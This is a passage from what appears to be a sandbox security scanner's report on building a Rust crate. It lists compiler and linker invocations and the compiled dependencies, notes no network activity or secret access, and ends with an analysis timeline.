| └toolchain /usr/libexec/gcc/x86_64-linux-gnu/14/collect2 | -plugin /usr/libexec/gcc/x86_64-linux-gnu/14/liblto_plugin.so -plugin-opt=/usr/libexec/gcc/x86_64-linux-gnu/14/lto-wrapper -plugin-opt=-fresolution=/tmp/ccSeeqFT.res --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -fuse-ld=lld -o /work/target/debug/build/openssl-sys-9db41c071c247f6c/build_script_main-9db41c071c247f6c /usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/14/crtbeginS.o -L/work/target/debug/build/openssl-sys-9db41c071c247f6c/rustcQUbOqi/raw-dylibs -L/usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib -L/usr/local/lib/rustlib/x86_64-unknown-linux-gnu/bin/gcc-ld -L/usr/lib/gcc/x86_64-linux-gnu/14 -L/usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/14/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/ | 4.0 s | 154 ms | 0 |
| └toolchain /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/bin/rust-lld | -flavor gnu -plugin /usr/libexec/gcc/x86_64-linux-gnu/14/liblto_plugin.so -plugin-opt=/usr/libexec/gcc/x86_64-linux-gnu/14/lto-wrapper -plugin-opt=-fresolution=/tmp/ccSeeqFT.res --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -o /work/target/debug/build/openssl-sys-9db41c071c247f6c/build_script_main-9db41c071c247f6c /usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/14/crtbeginS.o -L/work/target/debug/build/openssl-sys-9db41c071c247f6c/rustcQUbOqi/raw-dylibs -L/usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib -L/usr/local/lib/rustlib/x86_64-unknown-linux-gnu/bin/gcc-ld -L/usr/lib/gcc/x86_64-linux-gnu/14 -L/usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/14/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64 | 4.0 s | 151 ms | 0 |
| └build_script openssl-sys | 7.7 s | 70 ms | 0 | |
| └other /usr/bin/pkg-config ×2 | --libs --cflags openssl | 7.7 s | 2 ms | 0 |
| └toolchain /usr/bin/cc ×2 | -E /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/5982714859517148459detect_compiler_family.c | 7.7 s | 24 ms | 0 |
| └toolchain /usr/libexec/gcc/x86_64-linux-gnu/14/cc1 | -E -quiet -imultiarch x86_64-linux-gnu /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/5982714859517148459detect_compiler_family.c -mtune=generic -march=x86-64 -fasynchronous-unwind-tables -dumpbase 5982714859517148459detect_compiler_family.c -dumpbase-ext .c | 7.7 s | 22 ms | 0 |
| └toolchain /usr/bin/cc | -? | 7.8 s | 3 ms | 256 |
| └toolchain /usr/bin/cc | -O0 -ffunction-sections -fdata-sections -fPIC -m64 -Wall -Wextra -mno-omit-leaf-frame-pointer -o /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/flag_check -c /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/flag_check.c | 7.8 s | 30 ms | 0 |
| └toolchain /usr/libexec/gcc/x86_64-linux-gnu/14/cc1 | -quiet -imultiarch x86_64-linux-gnu /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/flag_check.c -quiet -dumpdir /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/ -dumpbase flag_check.c -dumpbase-ext .c -m64 -mno-omit-leaf-frame-pointer -mtune=generic -march=x86-64 -O0 -Wall -Wextra -ffunction-sections -fdata-sections -fPIC -fasynchronous-unwind-tables -o /tmp/ccPIm9zy.s | 7.8 s | 22 ms | 0 |
| └toolchain /usr/bin/as | --64 -o /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/flag_check /tmp/ccPIm9zy.s | 7.8 s | 5 ms | 0 |
| └build_script openssl | 18.2 s | 1 ms | 0 | |
| └build_script native-tls | 20.6 s | 1 ms | 0 | |
| └build_script blake3 | 43.2 s | 154 ms | 0 | |
| └toolchain /usr/bin/cc ×3 | -E /work/target/debug/build/blake3-94df302d7f25233d/out/5419528692612628020detect_compiler_family.c | 43.2 s | 6 ms | 0 |
| └toolchain /usr/libexec/gcc/x86_64-linux-gnu/14/cc1 | -E -quiet -imultiarch x86_64-linux-gnu /work/target/debug/build/blake3-94df302d7f25233d/out/5419528692612628020detect_compiler_family.c -mtune=generic -march=x86-64 -fasynchronous-unwind-tables -dumpbase 5419528692612628020detect_compiler_family.c -dumpbase-ext .c | 43.2 s | 5 ms | 0 |
| └toolchain /usr/bin/cc ×3 | -? | 43.2 s | 2 ms | 256 |
| └toolchain /usr/bin/cc ×8 | -O0 -ffunction-sections -fdata-sections -fPIC -m64 -Wall -Wextra -mavx512f -o /work/target/debug/build/blake3-94df302d7f25233d/out/flag_check -c /work/target/debug/build/blake3-94df302d7f25233d/out/flag_check.c | 43.2 s | 18 ms | 0 |
| └toolchain /usr/libexec/gcc/x86_64-linux-gnu/14/cc1 | -quiet -imultiarch x86_64-linux-gnu /work/target/debug/build/blake3-94df302d7f25233d/out/flag_check.c -quiet -dumpdir /work/target/debug/build/blake3-94df302d7f25233d/out/ -dumpbase flag_check.c -dumpbase-ext .c -m64 -mavx512f -mtune=generic -march=x86-64 -O0 -Wall -Wextra -ffunction-sections -fdata-sections -fPIC -fasynchronous-unwind-tables -o /tmp/ccwPUYBc.s | 43.2 s | 15 ms | 0 |
| └toolchain /usr/bin/as | --64 -o /work/target/debug/build/blake3-94df302d7f25233d/out/flag_check /tmp/ccwPUYBc.s | 43.3 s | 1 ms | 0 |
| └toolchain /usr/bin/ar ×4 | cqD /work/target/debug/build/blake3-94df302d7f25233d/out/libblake3_sse2_sse41_avx2_assembly.a /work/target/debug/build/blake3-94df302d7f25233d/out/b8423798394d5395-blake3_sse2_x86-64_unix.o /work/target/debug/build/blake3-94df302d7f25233d/out/b8423798394d5395-blake3_sse41_x86-64_unix.o /work/target/debug/build/blake3-94df302d7f25233d/out/b8423798394d5395-blake3_avx2_x86-64_unix.o | 43.3 s | 3 ms | 0 |
Network 0
No network activity.
Files 0
Secrets opened
None.
Written outside the build directories
None.
Scratch disk 0
- Files
- 1007
- Directories
- 183
- Size
- 613.5 MiB
- Compiled units
- 254
- Scan
- stopped at a limit
Nothing outside the build areas.
Output
Standard error
Compiling libc v0.2.189
Compiling cfg-if v1.0.5
Compiling zerofrom v0.1.8
Compiling stable_deref_trait v1.2.1
Compiling yoke v0.8.3
Compiling smallvec v1.16.2
Compiling pin-project-lite v0.2.17
Compiling zerovec v0.11.8
Compiling memchr v2.8.3
Compiling futures-core v0.3.34
Compiling bytes v1.12.1
Compiling futures-sink v0.3.34
Compiling itoa v1.0.18
Compiling scopeguard v1.2.0
Compiling vcpkg v0.2.15
Compiling openssl-sys v0.9.117
Compiling lock_api v0.4.14
Compiling futures-channel v0.3.34
Compiling serde_core v1.0.229
Compiling parking_lot_core v0.9.12
Compiling tinystr v0.8.4
Compiling errno v0.3.14
Compiling litemap v0.8.3
Compiling writeable v0.6.4
Compiling icu_locale_core v2.3.0
Compiling signal-hook-registry v1.4.8
Compiling parking_lot v0.12.5
Compiling zerotrie v0.2.5
Compiling potential_utf v0.1.6
Compiling mio v1.2.3
Compiling socket2 v0.6.5
Compiling utf8_iter v1.0.4
Compiling futures-io v0.3.34
Compiling futures-task v0.3.34
Compiling bitflags v2.13.2
Compiling slab v0.4.12
Compiling futures-util v0.3.34
Compiling icu_collections v2.3.0
Compiling serde v1.0.229
Compiling tokio v1.53.1
Compiling icu_provider v2.3.1
Compiling http v1.5.0
Compiling percent-encoding v2.3.2
Compiling http-body v1.1.0
Compiling icu_normalizer_data v2.3.0
Compiling icu_properties_data v2.3.0
Compiling openssl v0.10.81
Compiling foreign-types-shared v0.1.1
Compiling once_cell v1.21.4
Compiling foreign-types v0.3.2
Compiling icu_properties v2.3.0
Compiling icu_normalizer v2.3.0
Compiling openssl-macros v0.1.1
Compiling try-lock v0.2.5
Compiling tower-service v0.3.3
Compiling typenum v1.20.1
Compiling native-tls v0.2.18
Compiling generic-array v0.14.7
Compiling want v0.3.1
Compiling idna_adapter v1.2.2
Compiling httparse v1.10.1
Compiling tracing-core v0.1.36
Compiling form_urlencoded v1.2.2
Compiling log v0.4.34
Compiling openssl-probe v0.2.1
Compiling atomic-waker v1.1.2
Compiling hyper v1.11.1
Compiling tracing v0.1.44
Compiling idna v1.1.0
Compiling sync_wrapper v1.0.2
Compiling hashbrown v0.17.1
Compiling ipnet v2.12.2
Compiling equivalent v1.0.2
Compiling base64 v0.23.1
Compiling tower-layer v0.3.3
Compiling tower v0.5.3
Compiling hyper-util v0.1.21
Compiling indexmap v2.14.2
Compiling url v2.5.8
Compiling tokio-native-tls v0.3.1
Compiling zmij v1.0.23
Compiling crypto-common v0.1.7
Compiling block-buffer v0.10.4
Compiling http-body-util v0.1.5
Compiling serde_spanned v0.6.9
Compiling toml_datetime v0.6.11
Compiling aho-corasick v1.1.5
Compiling blake3 v1.8.7
Compiling regex-syntax v0.8.11
Compiling toml_write v0.1.2
Compiling zeroize v1.9.0
Compiling linux-raw-sys v0.12.1
Compiling winnow v0.7.15
Compiling option-ext v0.2.0
Compiling ryu v1.0.23
Compiling serde_urlencoded v0.7.1
Compiling dirs-sys v0.5.0
Compiling toml_edit v0.22.27
Compiling rustix v1.1.5
Compiling rustls-pki-types v1.15.1
Compiling regex-automata v0.4.18
Compiling hyper-tls v0.6.0
Compiling digest v0.10.7
Compiling num-traits v0.2.19
Compiling serde_json v1.0.151
Compiling tower-http v0.6.11
Compiling getrandom v0.4.3
Compiling futures-executor v0.3.34
Compiling thiserror-impl v1.0.69
Compiling base64 v0.22.1
Compiling arrayvec v0.7.8
Compiling fastrand v2.5.0
Compiling cpufeatures v0.2.17
Compiling constant_time_eq v0.4.2
Compiling cpufeatures v0.3.1
Compiling iana-time-zone v0.1.65
Compiling chrono v0.4.45
Compiling sha2 v0.10.9
Compiling tempfile v3.27.0
Compiling reqwest v0.12.28
Compiling thiserror v1.0.69
Compiling futures v0.3.34
Compiling regex v1.13.1
Compiling toml v0.8.23
Compiling dirs v6.0.0
Compiling lazy_static v1.5.1
Compiling aur-scanner-core v2.2.0
Compiling crateward-probe v0.0.0 (/cw/probe)
Finished `dev` profile [unoptimized + debuginfo] target(s) in 1m 00s
Timeline
9
| When | From | To | Event | Worker |
|---|---|---|---|---|
| 2026-10-02 19:38 UTC | Discovered | Fetched | fetched | fetcher-2797145 |
| 2026-10-02 19:38 UTC | Fetched | ReadyForSandbox | static_analysis_completed | static-2797146 |
| 2026-10-02 19:38 UTC | ReadyForSandbox | Running | sandbox_started | orchestrator-2797150-slot2 |
| 2026-10-02 19:38 UTC | Running | DynamicallyAnalyzed | sandbox_completed | orchestrator-2797150-slot2 |
| 2026-10-02 19:38 UTC | DynamicallyAnalyzed | ReadyForSandbox | scored | analyzer-2797147 |
| 2026-10-02 19:38 UTC | ReadyForSandbox | Running | sandbox_started | orchestrator-2797150-slot0 |
| 2026-10-02 19:39 UTC | Running | DynamicallyAnalyzed | sandbox_completed | orchestrator-2797150-slot0 |
| 2026-10-02 19:39 UTC | DynamicallyAnalyzed | Scored | scored | analyzer-2797147 |
| 2026-10-02 19:39 UTC | Scored | Done | finalized | analyzer-2797147 |